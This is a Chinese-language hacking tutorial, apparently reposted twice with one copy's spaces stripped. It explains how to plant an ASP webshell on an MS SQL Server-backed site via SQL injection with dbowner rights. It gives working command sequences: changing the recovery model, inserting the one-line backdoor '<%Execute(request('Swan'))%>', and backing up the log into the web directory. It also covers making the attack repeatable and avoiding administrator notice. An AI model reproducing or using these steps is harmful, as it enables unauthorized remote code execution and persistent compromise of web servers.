来源： swan dbowner 通过注射得到一个shell应该不是什么难事情了，比较麻烦的是就算利用增量备份，仍然有很多不确定的因素，如果之前别人有过什么错误的写入信息，可能备份出来得到的还是一些不能用的500错误，如何能够提高成功率及重用性呢？如果单从调整增量备份的方式来看，尽管能够达到一些效果，但是方法比较复杂而且效果不明显。加上关于重用性的考虑，例如多次备份的成功率，backupdatabase的方法并不太适用。这里将要讲述的是另外一个备份的方法，导出日志文件到web目录来获得shell。获得webshell首先要知道物理路径。关于物理路径的暴露有很多方法，注入也可以得到，就不再多说。值得注意的是，如果数据库和web分离，这样肯定得不到webshell，备份出来的东西可以覆盖任何文件，一些关于开始菜单的想法还是有效的，只要注意扩展名就好。扯远了，反正如果数据库和web在一块的，你就有机会，反之还是想其他的办法吧。然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情，dbowner足矣，public则不行。当前打开的库名用一个db_name()就可以得到，同样很简单。默认的情况是，一般选择的数据库故障还原类型都是简单，这时候不能够对日志文件进行备份。然而我们都是dbowner了，还有什么不能做的呢，只要修改一下属性就可以。由于不能去企业管理器中修改，只有用一段SQL语句，很简单的，这样就可以：
alterdatabaseXXXXsetRECOVERYFULL
其中XXXX是你得到的数据库的名字，执行过后就可以备份日志了。这种修改是破坏性的，因为你不知道以前的故障还原模式是什么，细心的管理员看到异样，可能就要开始起疑心。如果之前你能得到数据库的状态，最好还是在备份完以后把这个数据库的属性改回来。 剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backupdatabase中设定表名为image的问题相对应，如果你只是建立一个<%%>之类的表，日志里面的记录还是以松散的格式记录的，也就是<%%>，没有任何效果。通过实际的测试，发现还是可以通过与backupdatabase类似的方式记录进去，如下：createtablecmd(aimage)insertintocmd(a)values('<%Execute(request("Swan"))%>')backuplogXXXXtodisk='c:/xxx/2.asp'
这样你已经得到一个webshell了。 到这里就完了么？没有，呵呵，我们继续。 到这里有两个分支方向，第一个，让注入的时候不出现单引号，太简单了，我都懒得写；第二个，减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的，同样适用于backupdatabase的减小。 首先是初始化这个日志。backuplogXXXXtodisk='c:/caonima'withinit
这样有点类似于增量备份的第一步，不过有点不同的是，你做了这个以后，你备份出来的可用的shell是固定的。这一点比较重要，因为有了这一步，不管管理员在数据库里面做了什么扰乱你backdatabase的手脚，或者你之前有多少混蛋（你肯定会这么想的）弄了些你不喜欢的东西，都没有关系，甚至你做过以后，别人在后面再按照你的方法来一次，还是会成功，这对于偶尔出现的反复，比如对方机器重装但是数据库和代码没变，有不小的帮助。 然后是调整一下backup中各个语句的顺序。通过第一点，大概的步骤已经确定下来了，那就是：alterdatabaseXXXXsetRECOVERYFULLbackuplogXXXXtodisk='c:/Sammy'withinitcreatetablecmd(aimage)insertintocmd(a)values('<%Execute(request("Swan"))%>')backuplogXXXXtodisk='c:/xxx/2.asp'
这样不好，感觉上多了一条没用的东西。createtablecmd(aimage)
确实有点讨厌，不过这句是必要的，只好调整一下位置，弄到其他地方去。调换一下顺序似乎还可以小一点，对于backupdatabase中的增量情况同样是可以的，backupdatabase甚至可以仅仅在update后马上备份，不过由于涉及到了数据的存储格式，情况很复杂，这里不讨论。调整后的是：alterdatabaseXXXXsetRECOVERYFULLcreatetablecmd(aimage)backuplogXXXXtodisk='c:/Sammy'withinitinsertintocmd(a)values('<%Execute(request("Swan"))%>')backuplogXXXXtodisk='c:/xxx/2.asp'
成功的话，备份出来的shell（上面的2.asp）有78.5k，文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧，当然用这个来生成一个干净的木马也可以——这本来就是顶端cs木马的s端，很通用的。 进一步的，虽然不能再次缩小这个木马了，但是可以让垃圾文件少一点，那就是加上response.end，这样后面的垃圾数据就不再显示。所有的垃圾数据，你可以统计一下，大约只有6~12k，也就是说，<%Execute(request("Swan"))%>这个数据大约在2.asp文件偏移6xxx到12xxx附近，最好的情况似乎在6k左右，而且这个概率分布比较靠前，很少见到10k以上。这还是比较令人满意的。 目前用backuplog来测试的成功率是100%，就这样分析似乎不应该有失败的情况。无论如何，这个比backupdatabase好太多了。 [转载]backup log to get a webshell 作者：admin [bAck iN BLack] 来源：http://zhouzhen.eviloctal.org/Look.asp?LogID=822 dbowner通过注射得到一个shell应该不是什么难事情了，比较麻烦的是就算利用增量备份，仍然有很多不确定的因素，如果之前别人有过什么错误的写入信息，可能备份出来得到的还是一些不能用的500错误，如何能够提高成功率及重用性呢？如果单从调整增量备份的方式来看，尽管能够达到一些效果，但是方法比较复杂而且效果不明显。加上关于重用性的考虑，例如多次备份的成功率，backup database的方法并不太适用。这里将要讲述的是另外一个备份的方法，导出日志文件到web目录来获得shell。 获得webshell首先要知道物理路径。关于物理路径的暴露有很多方法，注入也可以得到，就不再多说。值得注意的是，如果数据库和web分离，这样肯定得不到webshell，备份出来的东西可以覆盖任何文件，一些关于开始菜单的想法还是有效的，只要注意扩展名就好。扯远了，反正如果数据库和web在一块的，你就有机会，反之还是想其他的办法吧。 然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情，dbowner足矣，public则不行。当前打开的库名用一个db_name()就可以得到，同样很简单。 默认的情况是，一般选择的数据库故障还原类型都是简单，这时候不能够对日志文件进行备份。然而我们都是dbowner了，还有什么不能做的呢，只要修改一下属性就可以。由于不能去企业管理器中修改，只有用一段SQL语句，很简单的，这样就可以： alter database XXXX set RECOVERY FULL 其中XXXX是你得到的数据库的名字，执行过后就可以备份日志了。这种修改是破坏性的，因为你不知道以前的故障还原模式是什么，细心的管理员看到异样，可能就要开始起疑心。如果之前你能得到数据库的状态，最好还是在备份完以后把这个数据库的属性改回来。 剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backup database中设定表名为image的问题相对应，如果你只是建立一个<%%>之类的表，日志里面的记录还是以松散的格式记录的，也就是< % % >，没有任何效果。通过实际的测试，发现还是可以通过与backup database类似的方式记录进去，如下：create table cmd (a image)insert into cmd (a) values ('<%Execute(request("Swan"))%>')backup log XXXX to disk = 'c:/xxx/2.asp'
这样你已经得到一个webshell了。 到这里就完了么？没有，呵呵，我们继续。 到这里有两个分支方向，第一个，让注入的时候不出现单引号，太简单了，我都懒得写；第二个，减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的，同样适用于backup database的减小。 首先是初始化这个日志。backup log XXXX to disk = 'c:/caonima' with init
这样有点类似于增量备份的第一步，不过有点不同的是，你做了这个以后，你备份出来的可用的shell是固定的。这一点比较重要，因为有了这一步，不管管理员在数据库里面做了什么扰乱你back database的手脚，或者你之前有多少混蛋（你肯定会这么想的）弄了些你不喜欢的东西，都没有关系，甚至你做过以后，别人在后面再按照你的方法来一次，还是会成功，这对于偶尔出现的反复，比如对方机器重装但是数据库和代码没变，有不小的帮助。 然后是调整一下backup中各个语句的顺序。通过第一点，大概的步骤已经确定下来了，那就是：alter database XXXX set RECOVERY FULLbackup log XXXX to disk = 'c:/Sammy' with initcreate table cmd (a image)insert into cmd (a) values ('<%Execute(request("Swan"))%>')backup log XXXX to disk = 'c:/xxx/2.asp'
这样不好，感觉上多了一条没用的东西。create table cmd (a image)
确实有点讨厌，不过这句是必要的，只好调整一下位置，弄到其他地方去。调换一下顺序似乎还可以小一点，对于backup database中的增量情况同样是可以的，backup database甚至可以仅仅在update后马上备份，不过由于涉及到了数据的存储格式，情况很复杂，这里不讨论。调整后的是： 成功的话，备份出来的shell（上面的2.asp）有78.5k，文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧，当然用这个来生成一个干净的木马也可以——这本来就是顶端cs木马的s端，很通用的。 进一步的，虽然不能再次缩小这个木马了，但是可以让垃圾文件少一点，那就是加上response.end，这样后面的垃圾数据就不再显示。所有的垃圾数据，你可以统计一下，大约只有6~12k，也就是说，<%Execute(request("Swan"))%>这个数据大约在2.asp文件偏移6xxx到12xxx附近，最好的情况似乎在6k左右，而且这个概率分布比较靠前，很少见到10k以上。这还是比较令人满意的。 目前用backup log来测试的成功率是100%，就这样分析似乎不应该有失败的情况。无论如何，这个比backup database好太多了。